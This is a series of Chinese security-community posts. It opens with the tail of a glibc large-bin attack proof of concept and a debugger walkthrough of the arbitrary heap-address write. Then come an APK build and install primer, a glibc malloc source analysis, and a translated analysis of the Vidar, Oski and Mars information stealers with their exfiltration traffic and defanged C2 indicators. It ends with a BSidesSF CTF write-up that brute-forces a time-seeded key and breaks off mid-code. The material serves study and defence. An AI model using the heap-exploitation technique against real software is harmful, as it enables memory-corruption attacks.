printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2);
printf("\n");
p1[3] = (size_t)((&target)-4);
printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);
printf("\n");
size_t *g4 = malloc(0x438);
printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
printf(" the modified p1->bk_nextsize does not trigger any error\n");
printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);
printf("\n");
printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
printf("Target (%p) : %p\n",&target,(size_t*)target);
printf("\n");
printf("====================================================================\n\n");
assert((size_t)(p2-2) == target);
return 0;
}
## 调试
为了能够看到在`malloc`中到底执行了什么，我们在当前目录下放入`malloc.c`，也就是放入`malloc`的源码。
首先我们断在下面的位置看下此时堆块的布局。
size_t *p1 = malloc(0x428);
size_t *g1 = malloc(0x18);
size_t *p2 = malloc(0x418);
size_t *g2 = malloc(0x18);
这里的 g1 和 g2 是为了防止两个大的 chunk 释放的时候合并。
此时我们释放我们的 p1，此时会进入unsorted bin中。
此时我们再分配一个比 p1 大的 chunk，这样会让 p1 进入 largebin 中。如果这里小了会切割 p1，所以要比 p1，才能让他进入
largebin 中。
然后我们在 free p2，此时 p2 就会被放入到 unsorted bin中。
此时我们修改 p1 的 bk_nextsize 指向 target-0x20，此时 p1 在 largebin 里。
修改前的 p1：
修改后的 p1：
看下我们的 target-0x20。
然后我们再 malloc 一个比 p2 大的 chunk（此时 p2 在 unsorted bin 里），那么此时，就会将 p2 从 unsorted
bin 取出，放入到 largebin 里，那么就存在如下代码。
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
最关键就是最后一步，让我们看看到底发生了什么。
我们一路跟进，直到进入 `_int_malloc`中。
我们在源码 malloc.c 中定位到关键代码的位置，因为我们的 p2 的 size 小于 bck->bk( largebin 中最小 size
的chunk )。
然后打下断点。
然后 c 继续执行，就会停在关键的位置。
调试就可以知道在这段关键代码中，victim 是我们的 p2，fwd 为 largebin 的链表头，bck为 largebin
中的最后一个chunk，也就是最小的那个，也就是我们这里的 p1。
然后就是下面的三条指令。
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
翻译过来就是下面这样。
p2->fd_nextsize = &p1
p2->bk_nextsize = p1->bk_nextsize
p1->bk_nextsize = (target-0x20)->fd_nextsize = victim
前两条指令执行完之前：
前两条指令执行完之后：
然后我们注意下第三条指令的`(target-0x20)->fd_nextsize = victim`。
这里 0x20 和 fd_nextsize是可以抵销的，也就是说此时我们可以将`victim`也就是一个堆的地址写在 `target` 上，这就是我们的
目标地址写一个大值，我们来验证下。
从上图我们看到原先我们的 `(target-0x20)->fd_nextsize`的值为 0。当执行完第三条指令后。
可以看到我们的`fd_nextsize`的位置已经写上了 victim 。
## 总结
通常而言，这种写大数的行为，我们可以用来修改`global_max_fast`。这里为什么想到的，估计是根据`victim->bk_nextsize`可控，那么`victim->bk_nextsize->fd_nextsize`可控就能写入一个`vitcim`。那么为什么`victim->bk_nextsize`，反推回去就是`fwd->fd->bk_nextsize`可控，这个可控翻译过来
**其实就是 largebin 中链表尾部，也就是最小的那个 chunk 的 bk_nextsize 可控，然后再其中写入 目标地址-0x20。** | 社区文章 |
[TOC]
# 引言
本片作为Android逆向入门篇，只有先了解APK包的信息，才可以进一步来逆向它
# APK打包
APK打包的内容主要有： **应用模块** 也就是自己开发的用到的源代码、资源文件、aidl接口文件，还有就是 **依赖模块**
即源代码用到的第三方依赖库如：aar、jar、so文件。
从图中可以看出主要分为以下几步：
## 第一步：编译，打包
目录结构类似下面所示：
android-project/
├── AndroidManifest.xml
├── gen/
├── lib/
│ └── android-support-v4.jar
├── out/
├── res/
│ ├── drawable-xhdpi/
│ │ └── icon.png
│ ├── drawable-xxhdpi/
│ │ └── icon.png
│ ├── drawable-xxxhdpi/
│ │ └── icon.png
│ └── layout/
│ └── activity_main.xml
└── src/
└── cn/
└── androidblog/
└── testbuild/
└── MainActivity.java
### 流程
1. 打包资源文件生成R.java，编译aidl生成java接口文件
2. 将源代码编译成DEX（Dalvik Executable) 文件（其中包括 Android 设备上运行的字节码）。
3. 将编译后的文件打包成一个APK压缩包
### 工具
**aapt.exe/aapt2.exe** ：资源打包工具
**javac.exe** ：将java转成class
**dx.jar** ：将class转成dex文件
### 资源打包
#### aapt
通过aapt工具生成R.java和打包到压缩包中的各种编译好的xml文件、未编译的文件、arsc文件。
资源文件中values文件夹中的文件生成了resource.arsc和R.java
aapt.exe p -M AndroidManifest.xml -S ./main/res -I android.jar -J ./ -F ./out.apk
* p：打包
* -M：AndroidManifest.xml文件路径
* -S：res目录路径
* -A：assets目录路径
* -I：android.jar路径，会用到的一些系统库
* -J 指定生成的R.java的输出目录
* -F 具体指定apk文件的输出
#### aapt2
##### 编译
从Android Studio
3.0开始，google默认开启了aapt2作为资源编译的编译器，aapt2的出现，为资源的增量编译提供了支持。当然使用过程中也会遇到一些问题，我们可以通过在
**gradle.properties** 中配置 **android.enableAapt2=false** 来关闭aapt2。
* 编译整个目录中的所有资源文件到一个压缩包中，并且全部编译成flat文件
aapt2.exe compile -o base.apk -dir E:\AndroidStudioProjects\TestJni\app\src\main\res
* 编译单个文件、多个文件到指定目录中
aapt2.exe compile -o E:\ E:\AndroidStudioProjects\TesttJni\app\src\main\res\mipmap-xxxhdpi\ic_launcher_round.png
##### 链接
* -o：链接进指定压缩包内
* -I：指定android.jar路径
* \--manifest：指定AndroidManifest.xml路径
* \--java ：指定目录生成R.java（包含包路径，例如包名是com.test，则会生成到./com/test目录下）
需要把所有的flat文件加载后面
aapt2.exe link -o .\out.apk -I .\Sdk\platforms\android-28\android.jar --manifest E:\AndroidStudioProjects\TestJni\app\src\main\AndroidManifest.xml .\values_styles.arsc.flat .\mipmap-hdpi_ic_launcher_round.png.flat --java ./
## 编译aidl文件
sdk\build-tools目录下的aidl.exe工具
* -I 指定import语句的搜索路径，注意-I与目录之间一定不要有空格
* -p 指定系统类的import语句路径，如果是要用到android.os.Bundle系统的类，一定要设置sdk的framework.aidl 路径
* -o 生成java文件的目录，注意-o与目录之间一定不要有空格，而且这设置项一定要在aidl文件路径之前设置
aidl -Iaidl -pD:/Android/Sdk/platforms/android-27/framework.aidl -obuild aidl/com/android/vending/billing/IInAppBillingService.aidl
## 编译源代码
### toClass
javac：jdk自带工具
* -target：生成特定VM版本的class文件，也就是sdk版本
* -bootclasspath：表示编译需要用到的系统库
* -d：生成的class文件存放的目录位置
最后将需要编译的java文件放在文件末尾
javac -target 1.8 -bootclasspath platforms\android-28\android.jar -d e:/ java\com\testjni\*.java
### todex
sdk\build-tools下的lib目录下的dx.jar工具
* \--dex：将class文件转成dex文件
* \--output：指定生成dex文件到具体位置
java -jar dx.jar --dex --ouput=.\classes.dex .\com\testjni\*.class
### 打包
由于apkbuilder工具被废弃了，我们可以手动将文件放到aapt生成的apk文件中
## 第二步：签名
使用签名工具对打包好的压缩包签名后才可以被android系统安装，签名后的证书文件放在META-INF目录下
公钥证书（也称为数字证书或身份证书）包含公钥/私钥对的公钥，对apk的签名也就是将公钥附加在apk上，充当指纹的作用，用来将APK唯一关联到开发者手上的私钥上。
密钥库是一种包含一个或多个私钥的二进制文件。我们先构建自己的密钥库
### 构建密钥库
* genkey：生成密钥库
* alias：密钥库别名
* keyalg：密钥算法RSA
* validity：证书有效期40000天
* keystore：密钥库名称
keytool -genkey -alias demo.keystore -keyalg RSA -validity 40000 -keystore demo.keystore
接着会让输入密钥密码，证书信息等，下面命令是查看自己这个密钥库中的详细信息的命令
keytool -list -keystore demo.keystore -v
### apksigner
* sign：签署数字证书
* \--ks：指定密钥库
java -jar apksigner.jar sign --ks demo.keystore demo.apk
### jarsigner
jdk工具：jarsigner.exe
* keystore：指定密钥库文件置
* signedjar：签名后文件存储的位置
jarsigner.exe -verbose -keystore <密钥库> -signedjar <签名后的apk名称> <需要被签名的apk文件> <密钥库的别名>
## 第三步 zipalign对齐
为了减少RAM的使用，目的确保所有未压缩的数据在4字节边界上对其，根据不同签名工具，具体对齐时间不定
* apksigner签名apk，在签名之前进行对齐，否则会致使签名无效
* jarsigner签名apk，在签名之后进行对齐
* 4：表示4字节对齐
zipalign.exe 4 base.apk aligned.apk
# APK安装
**/system/app** ：系统自带的应用程序，需要ROOT权限方可删除
**/data/app** ：用户安装应程序时，将apk文件复制到这里
**/vendor/app** ：设备商的应用程序
**/data/app-private** ：受DRM保护(数字版权管理)的app
**/data/data** ：应用存放数据的地方
**/data/dalvik-cache** ：将apk中的dex文件安装到这里
## 系统安装(放入就安装)
* 将安装包放入/system/app、/data/app、/data/app，/data/app-private目录中即可实现自动安装
* 如果删除/system/app、/data/app、/data/app、/data/app-private目录中的安装包，即可实现应用删除操作
* /system/app和/vendor/system下的应用需要ROOT权限方可删除
安装功能主要有systemServer的子类[PackageManagerService](https://android.googlesource.com/platform/frameworks/base/+/a029ea1/services/java/com/android/server/pm/PackageManagerService.java)来实现，如下面这里会注册一个观察者mSystemInstallObserver，监听/system/app内的应用安装包情况，一旦有安装包放入这个目录，就会触发事件来调用scanPackageLI方法进行apk的安装操作。
上面这些app安装目录的监听原理是大致相同的
// Collect ordinary system packages.
File systemAppDir = new File(Environment.getRootDirectory(), "app");
mSystemInstallObserver = new AppDirObserver(
systemAppDir.getPath(), OBSERVER_EVENTS, true, false);
mSystemInstallObserver.startWatching();
scanDirLI(systemAppDir, PackageParser.PARSE_IS_SYSTEM
| PackageParser.PARSE_IS_SYSTEM_DIR, scanMode, 0);
private final class AppDirObserver extends FileObserver {
....
if ((event&ADD_EVENTS) != 0) {
....
p = scanPackageLI(fullPath, flags,
SCAN_MONITOR | SCAN_NO_PATHS | SCAN_UPDATE_TIME,
System.currentTimeMillis(), UserHandle.ALL);
在scanPackageLI方法中，具体在这里进行了安装操作
//invoke installer to do the actual installation
int ret = mInstaller.install(pkgName, pkg.applicationInfo.uid,
pkg.applicationInfo.uid);
## 网络下载安装
从网络上下载下来apk安装包不管是手动点击安装还是应用检测安装，一般都会使用 **PackageManagerService**
的installPackage方法进行安装，这个方法向内部查看几层发现是调用了installPackageWithVerificationAndEncryption方法
/* Called when a downloaded package installation has been confirmed by the user */
public void installPackage(
final Uri packageURI, final IPackageInstallObserver observer, final int flags) {
installPackage(packageURI, observer, flags, null);
}
从截取的片段可以看到，这个方法出了实例化一个观察者外，主要通过传递安装参数给handle，下面我们看一下下handle的处理方法
public void installPackageWithVerificationAndEncryption(Uri packageURI,
IPackageInstallObserver observer, int flags, String installerPackageName,
VerificationParams verificationParams, ContainerEncryptionParams encryptionParams)
.......
observer.packageInstalled("", PackageManager.INSTALL_FAILED_USER_RESTRICTED);
.......
final Message msg = mHandler.obtainMessage(INIT_COPY);
msg.obj = new InstallParams(packageURI, observer, filteredFlags, installerPackageName,
verificationParams, encryptionParams, user);
mHandler.sendMessage(msg);
而处理message的hanle方法主要，将初始化安装参数，并接着发送标识为MCS_BOUND的message，而在处理这个message的时候，调用了startCopy，接着调用handleReturnCode，最终installPackageL内部是installNewPackageLI->scanPackageLI，这样回到了系统安装应用的步骤了
void doHandleMessage(Message msg) {
switch (msg.what) {
case INIT_COPY: {
......
mPendingInstalls.add(idx, params);
// Already bound to the service. Just make
// sure we trigger off processing the first request.
if (idx == 0) {
mHandler.sendEmptyMessage(MCS_BOUND);
}
case MCS_BOUND: {
.......
} else if (mPendingInstalls.size() > 0) {
HandlerParams params = mPendingInstalls.get(0);
if (params != null) {
if (params.startCopy()) {
private void installPackageLI(InstallArgs args,
boolean newInstall, PackageInstalledInfo res) {
.............
final PackageParser.Package pkg = pp.parsePackage(tmpPackageFile,
null, mMetrics, parseFlags);
## adb安装
通过adb命令安装APK安装包，主要分为两步：
* adb push xxx.apk /data/local/tmp，先将apk文件传送到设备临时目录下
* pm install /data/local/tmp/xxx.apk
这里用到了pm类的runinstall方法，内部调用了installPackageWithVerification，通过下面这个跨进程接口调用了安装包服务来执行安装操作，也就回到了网络下载后的安装执行流程中
mPm = IPackageManager.Stub.asInterface(ServiceManager.getService("package"));
# 小结
【1】打包过程中，需要先把资源、aidl文件转成java文件，然后同所有java源码一起打包成.class再到dex
# 参考
【1】谷歌官方打包流程：<https://developer.android.com/studio/build?hl=zh-cn>
【2】apktool官网 <https://ibotpeaches.github.io/Apktool/>
【3】APK安装过程及原理详解 <https://blog.csdn.net/hdhd588/article/details/6739281>
* * * | 社区文章 |
# Glibc-2.23 源码分析——malloc部分下
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
终于抽出时间对glibc动态内存管理部分源码进行初略的探究，试着从源码和动调来分析free函数执行过程和一些pwn的攻击技巧，分析的不是很全面，有错误的地方望提出指正，共同进步。ps:欢迎白帽子们关注
涂鸦智能安全响应中心
* * *
## Malloc的执行流程
### 情况3：申请mmap
测试代码
#include <stdio.h>
#include <stdlib.h>
int main()
{
malloc(0x20);
malloc(0x24000);
return 0;
}
申请的size 大于 av->top
执行调用链: Malloc -> int_malloc -> sysmalloc
Nb = 0x24010 > mp.mmapthreshold 且 (mp.nmmaps < mp.n_mmaps_max，满足条件进入mmap()的调用。
计算出满足页对齐的size后调用 MMAP()
申请的size大小为 0x24030 满足页对齐的size是 0x25000
执行后申请到的mmap 空间
之后对mmap 空间写入 size头,并在标志位上 打上 Mmap标志 0x2
执行效果
## calloc执行流程
测试代码
#include<stdio.h>
#include<stdlib.h>
int main(){
int *p1 = calloc(0x20, 1);
int *p2 = calloc(0x20, 1);
free(p1);
calloc(0x20, 1);
return 0;
}
### 堆初始化执行流程
**libc_calloc() - > _int_malloc(),和**libc_malloc()一样的堆初始化流程,之后通过malloc_hook跳转
malloc_hook_ini(),与malloc()的区别在于会将申请的堆空间全部置零。
之后有关main_arena取chunk的申请也是通过int_malloc(),最后都会置空堆空间
整体上看calloc是一个malloc的调用接口,输出前加上了置空堆空间
## realloc执行流程
测试代码
#include<stdio.h>
#include<stdlib.h>
int main(){
int *p1 = malloc(0x10);
int *p2 = malloc(0x10);
int *p_realloc = realloc(p1, 0x30);
return 0;
}
realloc调用流程 realloc->realloc_hook_ini(通过 **realloc_hook跳转** )
****
**清空** malloc_hook,__realloc_hook之后跳转 _libc_realloc()执行
之后进入_int_realloc()
_int_realloc()函数是一个_int_free()和_int_malloc()的结合体，释放剩余旧堆块，若申请新堆块,则复制堆块内容
先对新申请的堆块与原先堆块进行比对
### 若新申请堆块大于原先堆块
若新申请的size大于原先的size,尝试向top_chunk申请堆块
新申请堆块的话，需要进行数据复制，将原先堆块的数据拷贝到新申请堆块中
之后释放原先堆块
### 若新申请堆块小于原先堆块
若新申请的堆块小于原先堆块分割原先堆块,并且位于原先堆块中,释放剩余部分,
整体来看realloc是个功能丰富的缝合怪属于是。
realloc可以通过构造制定大小修改,实现free 特定size的remainder_chunk
realloc(0, size) 可以当做malloc(size)使用
realloc(chunk_ptr, 0) 可以当做free(chunk_ptr)使用
* * *
本文作者：Jambolt@涂鸦智能安全实验室
漏洞悬赏计划：涂鸦智能安全响应中心（<https://src.tuya.com>) 欢迎白帽子来探索。
招聘内推计划：涵盖安全开发、安全测试、代码审计、安全合规等所有方面的岗位，简历投递[sec@tuya.com](mailto:sec@tuya.com)，请注明来源。 | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://isc.sans.edu/diary/rss/28468>**
## 引入
2018年的某个时候，一个名叫 Vidar 的信息窃取软件出现了。分析显示 Vidar 是[Arkei
恶意软件的翻版](https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/) 。从那时起，Vidar 也启发了其他基于 arkei 的变种。今天的文章回顾了
Vidar 和另外两个变种: [Oski Stealer](https://www.cyberark.com/resources/threat-research-blog/meet-oski-stealer-an-in-depth-analysis-of-the-popular-credential-stealer) 和 [Mars Stealer](https://cyberint.com/blog/research/mars-stealer/)。
[
上图显示: 自2018年 Vidar 以来，至少有两个新的 Arkei 变种出现。
## Vidar，Oski，和 Mars Stealer 使用的合法文件
Vidar 感染设备时，最初的恶意软件检索合法 DLL 文件托管的C2服务器，它也用于数据提取。这些文件不是恶意的，但是它们被 Vidar
恶意软件二进制程序使用。
* **_freebl3.dll_** (DLL for Thunderbird)
* **_mozglue.dll_** (DLL for Thunderbird)
* **_msvcp140.dll_** (Microsoft C runtime library)
* **_nss3.dll_** (DLL for Thunderbird)
* **_softokn3.dll_** (DLL for Thunderbird)
* **_vcruntime140.dll_** (Microsoft C runtime library)
在以上文件之外，Oski Stealer 和 Mars Stealer 添加了另一个合法的 DLL:
* **_sqlite3.dll_** (used for SQLite operations)
在 Vidar 感染期间，初始的恶意软件二进制文件从它的 c2服务器请求每个文件。下面的图片显示了从2019年9月起由 [Vidar
实例](https://bazaar.abuse.ch/sample/b4c9aadd18c1b6f613bf9d6db71dcc010bbdfe8b770b4084eeb7d5c77d95f180/)引起的合法
DLL 文件的单独 HTTP GET 请求。
[
上图: 2019年9月，在Wireshark过滤出的来自Vidar感染的流量
像 Vidar一样，Oski Stealer 分开检索每个合法 DLL 文件。但是 Oski 不在其 url 中使用 dll 的文件名。2022年1月的
[Oski Stealer
样本](https://bazaar.abuse.ch/sample/c30ce79d7b5b0708dc03f1532fa89afd4efd732531cb557dc31fe63acd5bc1ce/)所产生的流量如下所示。
[
上图所示: 2022年1月，Wireshark 过滤出Oski Stealer感染引起的流量
恶意软件[Mars Stealer](https://cyberint.com/blog/research/mars-stealer/)
在2021年开始出现在地下论坛。当前的Mars
Stealer[样本]](https://bazaar.abuse.ch/sample/7022a16d455a3ad78d0bbeeb2793cb35e48822c3a0a8d9eaa326ffc91dd9e625/)检索合法的
DLL 文件作为一个单一的压缩档案。详情请看下面三张图片。
[
上图所示: 2022年3月 Mars Stealer感染引起的流量
[
如上所示: 显示压缩文档的 TCP 流由Mars Stealer二进制文件检索。
如果我们从Mars Stealer流量检索压缩文档，我们可以解压缩文档的单独文件，如下所示。
[
上图显示: Mars Stealer检索的从压缩文档中的文件
## 数据提取
从 Vidar 到 Oski Stealer 再到 Mars Stealer，数据提取技术也在进化。所有三种类型的恶意软件都会发送一个包含从受感染的
Windows 主机上窃取的数据的压缩文档。但是模式已经改变了。下面的图片展示了将被盗数据发送到 c2服务器的 HTTP POST
请求。箭头突出显示压缩文档。
[
上图显示: 2019年9月 Vidar 感染的数据泄露(1/2)。
[
上图显示: 2019年9月 Vidar 感染的数据泄露(2/2)。
[
如上图所示: 2022年1月的一次 Oski Stealer感染的数据泄露
[
上图显示: 2022年3月， Mars Stealer 感染的数据泄露
由 Vidar、 Oski Stealer 和 Mars Stealer 发出的 zip 文档的内容也在进化。详情请看下面的图片。
[
上图所示: 2019年9月 Vidar 感染发送的压缩文档内容
[
上图所示: 2022年1月 Vidar 感染发送的压缩文档内容
[
上图: 2022年3月 Vidar 感染发送的压缩文档内容
## IOCs
以下是今天文章中使用的三个恶意软件样本:
* [b4c9aadd18c1b6f613bf9d6db71dcc010bbdfe8b770b4084eeb7d5c77d95f180](https://bazaar.abuse.ch/sample/b4c9aadd18c1b6f613bf9d6db71dcc010bbdfe8b770b4084eeb7d5c77d95f180/) (Vidar)
* [c30ce79d7b5b0708dc03f1532fa89afd4efd732531cb557dc31fe63acd5bc1ce](https://bazaar.abuse.ch/sample/c30ce79d7b5b0708dc03f1532fa89afd4efd732531cb557dc31fe63acd5bc1ce/) (Oski Stealer)
* [7022a16d455a3ad78d0bbeeb2793cb35e48822c3a0a8d9eaa326ffc91dd9e625](https://bazaar.abuse.ch/sample/7022a16d455a3ad78d0bbeeb2793cb35e48822c3a0a8d9eaa326ffc91dd9e625/) (Mars Stealer)
以下是上述样本使用的 c2域名:
* 104.200.67[.]209 port 80 - **_dersed[.]com_** \- Vidar C2 in September 2019
* 2.56.57[.]108 port 80 - **_2.56.57[.]108_** \- Oski Stealer C2 in January 2022
* 5.63.155[.]126 port 80 - **_sughicent[.]com_** \- Mars Stealer C2 in March 2022
## References
* [Let's dig into Vidar - An Arkei Copycat/Forked Stealer (In-depth analysis)](https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/)
* [Meet Oski Stealer: An In-depth Analysis of the Popular Credential Stealer](https://www.cyberark.com/resources/threat-research-blog/meet-oski-stealer-an-in-depth-analysis-of-the-popular-credential-stealer)
* [Like Father Like Son? New Mars Stealer](https://cyberint.com/blog/research/mars-stealer/)
## 说在最后
最近几周，Hancitor 感染病毒一直在推送 Mars stealer.exe 文件作为后续恶意软件。而且，Mars Stealer
可以通过其他方式分发。虽然它不像其他恶意软件如 Qakbot 或 Emotet 那样广泛传播，但是Mars Stealer
也是我们当前威胁领域中值得注意的。
* * * | 社区文章 |
# 分析BSidesSF CTF 2020中Crypto方向题目
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在BSidesSF CTF 2020中有9道Crypto相关的题目，题目整体难度适中，在这里对这9道题目进行一下分析。
## chameleon
题目描述：
Somebody encrypted our flag and lost the key! Can you decrypt it? We’ve
included the encryption utility, it should come in handy!
Note: The file was encrypted in the past few months. We don’t have a more
specific date.
题目附件：
[chameleon.exe](https://github.com/ichunqiu-resources/anquanke/blob/master/009/chameleon/chameleon.exe)
[flag.png.enc](https://github.com/ichunqiu-resources/anquanke/blob/master/009/chameleon/flag.png.enc)
用IDA加载本题的exe程序，发现程序去除了符号表，在main函数的最后可以找到encrypt和decrypt函数，我们跟进encrypt函数看一下：
void __usercall sub_401FC0(const CHAR *a1@<ebx>)
{
void *v1; // eax
BYTE *v2; // esi
FILE *v3; // eax
DWORD pdwDataLen; // [esp+4h] [ebp-2Ch]
HCRYPTKEY phKey; // [esp+8h] [ebp-28h]
HCRYPTPROV phProv; // [esp+Ch] [ebp-24h]
BYTE pbData; // [esp+10h] [ebp-20h]
char v8; // [esp+11h] [ebp-1Fh]
__int16 v9; // [esp+12h] [ebp-1Eh]
int v10; // [esp+14h] [ebp-1Ch]
int v11; // [esp+18h] [ebp-18h]
int v12; // [esp+1Ch] [ebp-14h]
int v13; // [esp+20h] [ebp-10h]
int v14; // [esp+24h] [ebp-Ch]
int v15; // [esp+28h] [ebp-8h]
v1 = (void *)sub_401EA0(&pdwDataLen);
v2 = (BYTE *)realloc(v1, pdwDataLen + 16);
if ( !CryptAcquireContextA(&phProv, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1u, 0xF0000000) )
goto LABEL_9;
sub_401A10((int)&v14);
v9 = 0;
pbData = 8;
v11 = 8;
v12 = v14;
v13 = v15;
v8 = 2;
v10 = 26113;
if ( !CryptImportKey(phProv, &pbData, 0x14u, 0, 1u, &phKey)
|| !CryptEncrypt(phKey, 0, 1, 0, v2, &pdwDataLen, pdwDataLen + 8) )
{
LABEL_9:
v3 = _iob_func();
fprintf(v3 + 2, "Encryption failedn");
exit(1);
}
sub_401AA0((int)&v14);
sub_401F50(a1, v2, pdwDataLen);
free(v2);
}
可以看到程序调用了CryptAcquireContextA、CryptImportKey、CryptEncrypt等API，查阅[API手册](https://docs.microsoft.com/en-us/windows/win32/seccrypto/example-c-program--importing-a-plaintext-key)可以看到这里程序使用DES-CBC进行加密，key来自sub_401A10函数，那么我们接下来跟进sub_401A10函数来看一下：
char __usercall sub_401A10@<al>(int a1@<edi>)
{
__time64_t v1; // rax
signed int v2; // ecx
unsigned int v3; // esi
v1 = time64(0);
v2 = 0;
do
{
LODWORD(v1) = 29945647 * v1 - 1;
dword_404380[v2++] = v1;
}
while ( v2 < 351 );
dword_404018 = v2;
v3 = 0;
do
{
LOBYTE(v1) = sub_401870(v2, HIDWORD(v1)) ^ 0x55;
*(_BYTE *)(v3++ + a1) = v1;
}
while ( v3 < 8 );
return v1;
}
这里看到`v1 =
time64(0)`，结合题目描述，看起来像是使用系统时间在设置种子，第一个循环根据种子来设置数组，我们继续跟进sub_401870函数来看一下：
int sub_401870()
{
int v0; // eax
int v1; // eax
unsigned int *v2; // ecx
unsigned int v3; // esi
int v4; // eax
unsigned int v5; // edi
unsigned int v6; // esi
int v7; // eax
unsigned int v8; // esi
unsigned int v9; // edi
int v10; // eax
unsigned int v11; // edi
unsigned int v12; // esi
int v13; // eax
unsigned int v14; // esi
unsigned int v15; // ecx
int v16; // ecx
v0 = dword_404018;
if ( dword_404018 >= 351 )
{
v1 = 175;
v2 = (unsigned int *)&unk_404384;
do
{
v3 = *v2;
v4 = v1 + 1;
*(v2 - 1) = ((*(v2 - 1) ^ (*v2 ^ *(v2 - 1)) & 0x7FFFF) >> 1) ^ dword_40437C[v4] ^ -((*((_BYTE *)v2 - 4) ^ (unsigned __int8)(*(_BYTE *)v2 ^ *((_BYTE *)v2 - 4))) & 1) & 0xE4BD75F5;
if ( v4 >= 351 )
v4 = 0;
v5 = v2[1];
v6 = ((v3 ^ (v3 ^ v2[1]) & 0x7FFFF) >> 1) ^ dword_404380[v4] ^ -(((unsigned __int8)v3 ^ (unsigned __int8)(v3 ^ *((_BYTE *)v2 + 4))) & 1) & 0xE4BD75F5;
v7 = v4 + 1;
*v2 = v6;
if ( v7 >= 351 )
v7 = 0;
v8 = v2[2];
v9 = ((v5 ^ (v5 ^ v2[2]) & 0x7FFFF) >> 1) ^ dword_404380[v7] ^ -(((unsigned __int8)v5 ^ (unsigned __int8)(v5 ^ *((_BYTE *)v2 + 8))) & 1) & 0xE4BD75F5;
v10 = v7 + 1;
v2[1] = v9;
if ( v10 >= 351 )
v10 = 0;
v11 = v2[3];
v12 = ((v8 ^ (v8 ^ v2[3]) & 0x7FFFF) >> 1) ^ dword_404380[v10] ^ -(((unsigned __int8)v8 ^ (unsigned __int8)(v8 ^ *((_BYTE *)v2 + 12))) & 1) & 0xE4BD75F5;
v13 = v10 + 1;
v2[2] = v12;
if ( v13 >= 351 )
v13 = 0;
v14 = ((v11 ^ (v11 ^ v2[4]) & 0x7FFFF) >> 1) ^ dword_404380[v13] ^ -(((unsigned __int8)v11 ^ (unsigned __int8)(v11 ^ *((_BYTE *)v2 + 16))) & 1) & 0xE4BD75F5;
v1 = v13 + 1;
v2[3] = v14;
if ( v1 >= 351 )
v1 = 0;
v2 += 5;
}
while ( (signed int)v2 < (signed int)&dword_4048FC );
dword_4048F8 = dword_404638 ^ ((dword_4048F8 ^ (dword_4048F8 ^ dword_404380[0]) & 0x7FFFFu) >> 1) ^ -(((unsigned __int8)dword_4048F8 ^ (unsigned __int8)(dword_4048F8 ^ LOBYTE(dword_404380[0]))) & 1) & 0xE4BD75F5;
v0 = 0;
}
v15 = dword_404380[v0];
dword_404018 = v0 + 1;
v16 = ((((v15 >> 11) ^ v15) & 0xCABCA5) << 7) ^ (v15 >> 11) ^ v15;
return (unsigned __int8)(v16 ^ ((((v16 & 0xFFFFFFAB) << 15) ^ v16) >> 17));
}
这里较多计算都涉及到了常数0xE4BD75F5，检索一下这个常数，可以找到[这段代码](http://www.ai.mit.edu/courses/6.836-s03/handouts/sierra/random.c)，可以看到程序这里是模拟了一个类似梅森旋转的伪随机数生成器，但是并不是MT19937，许多地方做了修改，比如循环次数不是624而是351，常数不是0x9908B0DF而是0xE4BD75F5，继续查找资料，在[这篇文章](https://hal.archives-ouvertes.fr/hal-02182827/document)中发现这里使用的是MT11213：
"MT11213" with a period of 211213 − 1 that has w = 32, N = 351, m =
175, c = 19, and a = 0xE4BD75F5 as recurrence parameters, and c1 =
0x655E5280, c2 = 0xF F D58000, b1 = 11, b2 = 7, b3 = 15, and b4 = 17
265 for tempering ones
"MT19937", which has a period of 219937 − 1, has w = 32, N = 624,
m = 397, c = 31, and a = 0x9908B0DF as recurrence parameters, and
c1 = 0x9D2C5680, c2 = 0xEF C60000, b1 = 11, b2 = 7, b3 = 15, and
b4 = 18] for Tempering ones.
既然如此，题目说文件是过去的几个月以来加密的，但是具体时间并不知道，比赛时间为23 Feb. 2020, 17:00
UTC，我们可以尝试在一个小范围内爆破这一日期，例如从2020-02-01 00:00:00起，至2020-02-23
00:00:00止，产生若干密钥依次来尝试解密，由于我们的原始文件为flag.png，根据PNG文件格式，解密成功的情况下其前8个字节应为x89x50x4ex47x0dx0ax1ax0a，我们可以以此来作为密钥是否正确的标志，随后使用该密钥进行解密即可，将上述推导过程写成代码形式如下：
#include <math.h>
#include <stdio.h>
#define RAND_MASK 0x3FFFFFFF
#define N 351
#define M 175
#define R 19
#define TEMU 11
#define TEMS 7
#define TEMT 15
#define TEML 17
#define MATRIX_A 0xE4BD75F5
#define TEMB 0x655E5280
#define TEMC 0xFFD58000
static unsigned int mt[N];
static int mti=N;
extern void set_seed (int seed) {
unsigned int s = (unsigned int)seed;
for (mti=0; mti<N; mti++) {
s = s * 29945647 - 1;
mt[mti] = s;
}
return;
}
int genrandom () {
unsigned int y;
if (mti >= N) {
const unsigned int LOWER_MASK = (1u << R) - 1;
const unsigned int UPPER_MASK = -1 << R;
int kk, km;
for (kk=0, km=M; kk < N-1; kk++) {
y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);
mt[kk] = mt[km] ^ (y >> 1) ^ (-(y & 1) & MATRIX_A);
if (++km >= N) km = 0;
}
